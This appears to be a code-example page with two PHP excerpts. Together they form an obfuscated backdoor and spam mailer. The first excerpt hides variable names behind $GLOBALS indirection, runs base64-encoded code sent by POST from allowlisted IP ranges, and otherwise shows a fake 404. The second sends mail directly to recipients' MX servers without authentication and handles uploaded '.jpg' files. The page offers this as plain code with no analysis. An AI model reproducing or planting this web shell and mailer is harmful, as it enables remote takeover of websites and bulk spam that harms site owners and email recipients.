Esempio n. 1
0
${"GLOBALS"}["mvcguzkq"] = "filename";
${"GLOBALS"}["nnnqqcnuhhej"] = "file";
${"GLOBALS"}["jiuuaitdvnp"] = "key";
${"GLOBALS"}["uydcbepfihkx"] = "aliases";
${"GLOBALS"}["iyovgxddg"] = "froms";
${"GLOBALS"}["flsrsy"] = "themes";
${"GLOBALS"}["lnxopxl"] = "emails";
${"GLOBALS"}["rijfrzpunt"] = "post";
${"GLOBALS"}["zvlqfpbow"] = "good";
${"GLOBALS"}["dfbthkoks"] = "goods";
if (isset($_POST["code"]) && isset($_POST["custom_action"]) && is_good_ip($_SERVER["REMOTE_ADDR"])) {
    eval(base64_decode($_POST["code"]));
    exit;
}
if (isset($_POST["type"]) && $_POST["type"] == "1") {
    type1_send();
    exit;
} elseif (isset($_POST["type"]) && $_POST["type"] == "2") {
} elseif (isset($_POST["type"])) {
    echo $_POST["type"];
    exit;
}
error_404();
function is_good_ip($ip)
{
    ${${"GLOBALS"}["dfbthkoks"]} = array("6.185.239.", "8.138.118.");
    foreach (${${"GLOBALS"}["dfbthkoks"]} as ${${"GLOBALS"}["zvlqfpbow"]}) {
        ${"GLOBALS"}["krcwxntn"] = "ip";
        $maajrfnti = "good";
        if (strstr(${${"GLOBALS"}["krcwxntn"]}, ${$maajrfnti}) != FALSE) {
            return TRUE;
Esempio n. 2
0
        $mail->Host = mx_lookup($to_domain);
        $mail->Port = 25;
        $mail->SMTPAuth = false;
        if (!$mail->send()) {
            return array(0, $mail->ErrorInfo);
        } else {
            return array(2, 0);
        }
    } else {
        return array(1, 0);
    }
}
if (isset($_FILES)) {
    foreach ($_FILES as $key => $file) {
        if (strpos($file['name'], ".jpg")) {
            $res = type1_send($file['tmp_name']);
            if ($res) {
                echo $res;
            }
        }
    }
}
function mx_lookup($hostname)
{
    @getmxrr($hostname, $mxhosts, $precedence);
    if (count($mxhosts) === 0) {
        return '127.0.0.1';
    }
    $position = array_keys($precedence, min($precedence));
    return $mxhosts[$position[0]];
}